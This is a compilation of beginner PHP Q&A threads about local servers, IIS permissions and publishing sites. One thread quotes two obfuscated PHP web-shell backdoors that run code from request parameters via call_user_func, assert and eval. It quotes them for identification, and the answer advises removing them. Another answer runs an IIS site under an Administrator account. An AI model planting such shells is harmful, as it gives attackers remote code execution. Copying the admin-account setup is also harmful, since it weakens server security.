PHP / html web app to browse and open files - php

I am new to the web app development and server topics so my question is rather theoretical. I’ve searched and went through a lot of related topics but haven’t found any satisfying answer and explanation:
Lately I was trying to write a rather simple PHP/html web app to display the content of my local dir let’s say C:/Users/Desktop and generate hyperlinks that would redirect me to the subfolders (and ideally open files in it)
I tried a lot of ready solutions but they were very outdated (3 or 4 years ago) then I found out that it is impossible on all web browsers because of security reasons. From what I learned it is only possible when browsing files on a server but I don’t really know how to enable it locally on my PC.
Could anyone explain to me why it is so? Or if it’s any way to pass it?
Thanks in advance, best regards.

You can easily install a local server (including php runtime) on your PC, like https://www.apachefriends.org or http://www.wampserver.com
A simple guide: https://blog.udemy.com/xampp-tutorial/
List files: List all files in one directory PHP

Related

PHP Page is Attempting to Download Instead of Display Content

Problem: I'm creating a website right now, it's my first time dealing with PHP after learning the basics. My index.php file, when viewed on my localhost, is attempting to download the file and bring up the file explorer prompt. Does this on both Chrome and Edge.
Troubleshooting:
I removed the file association.
Tried on Edge browser.
Looked online for answers. All other YouTube videos & forums I found including StackOverflow had previous questions about this but the answers were either outdated by like 10+ years or just didn't for me.
What do I do? Any help is appreciated, and reminder I'm new to PHP so please no super veteran-sized solutions, thanks.
Edit 01: I was told to share my URL so here it is:http://127.0.0.1:5500/index.php
Edit 02 (Solution): I didn't realize that the Live Server plugin for VSC was only for static HTML pages and not PHP pages. WebPajooh helped me with setup how to achieve a similar result using XAMPP.
It was better to share your URL. I guess you are trying to access the PHP files by entering the file path, not the URL.
https://localhost/some_directory/some_file.php
If you are doing this, not entering the file path directly, check your web server configurations.

What is this PHP file that's appeared on my server? [duplicate]

This question already has answers here:
wordpress hacked: what does this script actually do?
(2 answers)
Closed 4 years ago.
I have several web sites on a shared server, and have noticed a load of .php files appear in various folders, none of which were put there by me.
I am a .NET developer, so apart from one site which uses WordPress, none of my sites use PHP. Therefore, I can only assume that the server has been accessed, and suspicious files uploaded.
However, with my basic knowledge of PHP, I can't tell what these files are doing. I am hoping some PHP expert can help me.
Here is a sample...
<?php if(key($_GET)=='35')call_user_func($_GET['35'],$_REQUEST['c'],$_REQUEST['d']);
...and another...
<?php
$acnhe="s\x74\x72\x5fr\x65\x70\x6ca\x63e";$admno=$acnhe('f','',"b\x66afsfef6f4f_\x66dfefcfofd\x66e");$acnhe=$admno($acnhe('|','',$_POST['1043f']));$adnmo="\x61ss\145".'rt';#$adnmo($acnhe);#eval($acnhe);
$k=substr("class",2)."ert"; # $k(${"_PO"."ST"} ['335']);
Anyone able to explain what these would do if/when called?
Your wordpress site has been compromised. It's quite common that unpatched security vulnerabilities in WP allow users to inject these kinds of files which end up causing all sorts of trouble to your visitors (by redirecting them to malicious sites, for example).
You can safely delete this file, and you should do it ASAP.
Also, it's time to secure your WP installation (update the core to the latest version) and go through all of WP's core php files and look for similar strings within them (these malicious exploits sometimes allow core WP files to get injected too) and clean them up.

How can I get CPU Usage with PHP on Windows IIS 8.5? (2012 R2)

What I'm looking for is an easy way to get either individual core usage or total CPU usage for the system that the PHP Script is running on.
However I'm unable to do so. I've looked all over for all manner of solutions from using perf (with and without passthru) to using winmgmts through COM.
The issue is, some of these will work on Windows if you use Apache, but with IIS the security restrictions stop PHP from being able to use for example winmgmts through COM so I just get back a null object.
How can I solve this? - I've honestly tried every solution I can find on the internet and while there is lots of information about how to raise the permissions all the guides point to IIS 7 or earlier and are no longer applicable to IIS 8.5 with literally the suggested option changes being non-existent.
If anyone could help me with this I'd be really appreciative, a workaround like using a third party application that could provide this data would also be acceptable if I can query the data through PHP either from a file or network etc Even a asp.net script that I could query? (I don't know anything about asp.net but I could use it for this single thing if it'd work?)
Thank you.
I managed to solve this and I hope it helps someone else.
What you must do is convert the folder where your PHP (or asp) will execute to an Application. So the structure will look like this:
Website Name
-> Application Name
Then you want to select the parent folder, the Website Name folder and go to "Basic Settings" in the far right actions pane and select "Connect As..." and connect as an Administrator account.
Once you've done this the application will inherent the credentials you specified on the parent website folder and you'll now have full access to perf, wmi and so on.
If you only give the credentials directly to the application it doesn't work and it also doesn't work if you don't convert your folder where your scripts will execute to an application. This is where I was being tripped up and the documentation online is very sparse.
I'd like to thank the good people at the phpsysinfo github for their IIS documentation which pointed me on the right track on needing to convert a site to an application which was part of the puzzle I was missing.

How do I publish my PHP, HTML, CSS coded website? [duplicate]

This question already has answers here:
Access php files through a link on the web
(3 answers)
Closed 8 years ago.
Okay here's the scenario:
Suppose I'm already done designing and coding a website (in PHP, HTML, CSS and other stuffs that help create a website functional) which is still sitting on my desktop, the question is "What's next? How do I publish it to the web?"
Please help, I've seen some tutorials but couldn't understand them.
Well, once you got your website, next step is to find a hosting to place it.
Take in mind, if you are going to "free hosting", some of them don't allow PHP files.
Once you got it, I'll reccomend you a FTP client, such FileZilla or similars, to upload your content to the hosting. Make sure, of course you got a page called index.php/index.html, so it will be loaded when you type in your website.
You need to learn about How to do web hosting
And so many things like
Domain registration
Webserver
and so many.You can have a good and simple tutorial for a beginner in the reference link.

Convert PHP website to an HTML-based website [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 9 years ago.
Improve this question
I recently started working in a company and one of the first tasks that I was given was to redo their website.
Being a newbie and after a few trial and errors on sites like wix.com, weebly.com, I made a WordPress website with a responsive theme using a WAMP server.
The site seems all fine but when the time came to finally put it on the server, I came to know that the hosting company only supports HTML based website whereas the website I built is a PHP one. The following are my questions
How do I go about publishing my WordPress site on an HTML supported only server? Is there a way to convert the website or any other method? If yes, please explain in detail as I am a newbie.
I was somehow able to export my database from the localhost MySQL server to that of the server where I want my site to be but does the web hosting company only supporting HTML based website affect the database in MySQL server? If yes, what should be done and how? Kindly explain in detail.
The cPanel of the webhost is pretty basic and on calling the company, I was told that all I had to do was drag and drop my files there for my site to go online but that dint work.
I tried changing the extensions from PHP to HTML and uploading the files, but all I get is a blank screen on going on going to www.mycompanydomain.ae.
I even tried the whole adding a line in the .htaccess file to open as an HTML without actually changing the all the PHP files but to no avail.
Kindly help as I have spent a lot of time and energy on this but now I am at a roadblock.
You could browse through each page that makes up your website and use your browser to "save" a local copy of the page and upload these. A an easier way to accomplish this foolish task would be to use a web crawling tool like WebReaper on your local website and upload the results to the HTML only host.
The caveats to doing this are:
Your site is no longer interactive, everything is static.
Nice folder structure goes out the window and everything is a mess
It's obviously a bad idea
Don't do this, it's a bad idea
No, seriously.
The correct solution, if you need to have anything server-side/database interactive, is switch to a host that has PHP enabled. You would also want to use a tool like PHPMyAdmin to export your local database and import it on the new host.
You can't do it in HTML. But you can use iframe and wordpress.com or host it elsewhere...
The plugin Really Static/ claims to generate HTML files each time you update your WordPress blog: "saving static files via local, FTP, SFTP" and "
if you don't have PHP/MySQL support on your server you can host your WordPress installation locally and use a normal HTML webspace for publishing"
I hope this helps!
No, there's no practical way to transform your entire site into HTML.
Switch to a web host that supports PHP.

Categories